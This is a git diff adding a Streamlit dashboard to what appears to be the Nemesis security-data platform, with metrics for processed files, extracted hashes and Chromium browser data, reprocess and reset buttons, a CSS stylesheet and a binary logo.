+ st.session_state["reprocessing"] = False + + if "clear_button" not in st.session_state: + st.session_state["clear_button"] = False + + if "clearing" not in st.session_state: + st.session_state["clearing"] = False + + + # st.subheader("Operation Information") + # cols = st.columns(4) + # with cols[0]: + # num_hosts = utils.postgres_count_entries("hosts") + # st.metric("Total Hosts", num_hosts) + # with cols[1]: + # num_agents = utils.postgres_count_entries("agents") + # st.metric("Total Agents", num_agents) + # st.divider() + + st.subheader("File Information") + cols = st.columns(5) + with cols[0]: + num_plaintext_documents = utils.get_elastic_total_indexed_documents("file_data_plaintext") + st.metric("Indexed Documents", num_plaintext_documents) + with cols[1]: + num_enriched_documents = utils.get_elastic_total_indexed_documents("file_data_enriched") + st.metric("Processed Files", num_enriched_documents) + with cols[2]: + num_np_matches = utils.get_elastic_total_indexed_documents("file_data_enriched", query={"exists": {"field": "noseyparker"}}) + st.metric("NoseyParker Matches", num_np_matches) + with cols[3]: + num_hashes = utils.postgres_count_entries("extracted_hashes") + st.metric("Extracted Hashes", num_hashes) + with cols[4]: + num_hashes = utils.postgres_count_entries("extracted_hashes") + st.metric("Authentication Data", num_hashes) + st.divider() + + st.subheader("Chromium Information") + cols = st.columns(4) + with cols[0]: + num_cookies = utils.postgres_count_entries("chromium_cookies") + st.metric("Cookies", num_cookies) + with cols[1]: + num_logins = utils.postgres_count_entries("chromium_logins") + st.metric("Logins", num_logins) + with cols[2]: + num_history = utils.postgres_count_entries("chromium_history") + st.metric("History Entries", num_history) + with cols[3]: + num_downloads = utils.postgres_count_entries("chromium_downloads") + st.metric("Downloads", num_downloads) + + st.divider() + + cols = st.columns(4) + + with cols[0]: + if st.session_state["reprocessing"]: + st.success("File reprocessing triggered!") + st.session_state["reprocessing"] = False + else: + if st.button("Reprocess All Data", key="reprocess_data1"): + st.session_state["reprocess_button"] = not st.session_state["reprocess_button"] + if st.session_state["reprocess_button"]: + st.warning("Are you really, REALLY, sure you want to reprocess everything?", icon="🚨") + if st.button("Yes I know what I'm doing", key="reprocess_data2"): + st.session_state["reprocessing"] = True + try: + requests.post(f"{NEMESIS_API_URL}reprocess", timeout=0.1) + st.experimental_rerun() + except requests.exceptions.ReadTimeout: + st.experimental_rerun() + except Exception as e: + st.warning(f"Error posting to Nemesis URL {NEMESIS_API_URL}reprocess : {e}", icon="⚠️") + + with cols[1]: + if st.session_state["clearing"]: + st.success("Data clearing triggered!") + st.session_state["clearing"] = False + else: + if st.button("Clear All Data", key="data_clear1"): + st.session_state["clear_button"] = not st.session_state["clear_button"] + if st.session_state["clear_button"]: + st.warning("Are you really, REALLY, sure you want to clear all data?", icon="🚨") + if st.button("Yes I know what I'm doing", key="data_clear2"): + st.session_state["clearing"] = True + try: + requests.post(f"{NEMESIS_API_URL}reset", timeout=0.1) + st.experimental_rerun() + except requests.exceptions.ReadTimeout: + st.experimental_rerun() + except Exception as e: + st.warning(f"Error posting to Nemesis URL {NEMESIS_API_URL}reset : {e}", icon="⚠️") + + footer=""" +

+""" + st.markdown(footer, unsafe_allow_html=True) \ No newline at end of file diff --git a/cmd/dashboard/dashboard/__init__.py b/cmd/dashboard/dashboard/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/dashboard/dashboard/css/files_style.css b/cmd/dashboard/dashboard/css/files_style.css new file mode 100644 index 0000000..702961c --- /dev/null +++ b/cmd/dashboard/dashboard/css/files_style.css @@ -0,0 +1,140 @@ +.column { + float: left; + width: 33.33%; +} + +/* Clear floats after the columns */ +.row:after { + content: ""; + display: table; + clear: both; +} + +.file.name { + font-size: 1.5rem; + text-align: left; + color: rgb(90, 90, 90); +} + +.file.name.desc { + font-size: 1rem; + text-align: left; + color: rgb(90, 90, 90); + padding-top: 10px; +} + +.officebackground { + background-color: #BAD2DE !important; +} + +.assemblybackground { + background-color: #f48b70 !important; +} + +.smallheader { + font-size: small !important; +} + +.popup { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 50px; + z-index: 1050; + overflow: hidden; + outline: 0; + height: 200px; + user-select: none; + -moz-user-select: none; + -khtml-user-select: none; + -webkit-user-select: none; + -o-user-select: none; +} + +/* + +Tags + +Adapted from https://codepen.io/Metty/pen/qBdRBLd + +*/ + +.tags { + margin-top: 10; + margin-bottom: 10; + flex-grow: 1; +} + +.tag { + display: inline-block; + border-radius: 3px; + padding: .2em .5em .3em; + border-radius: 2px; + background: #454e56; + color: #b2becd; + font-weight: 600; + margin: .25em .1em +} + +h1.tag { + margin-left: 0; + margin-right: 0 +} + +.tag-sm { + font-size: .7em; + display: inline-block; + letter-spacing: .15ch; + font-weight: 400 +} + +.tag-lg { + font-size: 1.2em; + border-radius: 4px +} + +.tag-pro { + background: #09c372; + color: #fff +} + +.tag-contains-dpapi { + background: #f0db4f; + color: #000 +} + +.tag-parsed-credentials { + color: #ffda5d; + background: #3879ab +} + +.tag-deserialization { + color: #fff; + background: #ff3e00 +} + +.tag-command-execution { + color: #fff; + background: #ff3e00 +} + +.tag-encrypted { + background: #41b883; + color: #35495e +} + +.tag-yara-matches { + background: #498afb; + color: #fff +} + +.tag-noseyparker-results { + background: #54c5f8; + color: #003b6c +} + +.tag-above-size-limit { + background: #dc0530; + color: #fff +} diff --git a/cmd/dashboard/dashboard/img/nemesis_logo.png b/cmd/dashboard/dashboard/img/nemesis_logo.png new file mode 100644 index 0000000000000000000000000000000000000000..a0b0361df450773f6a71864a6468071d91597d91 GIT binary patch literal 44155 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 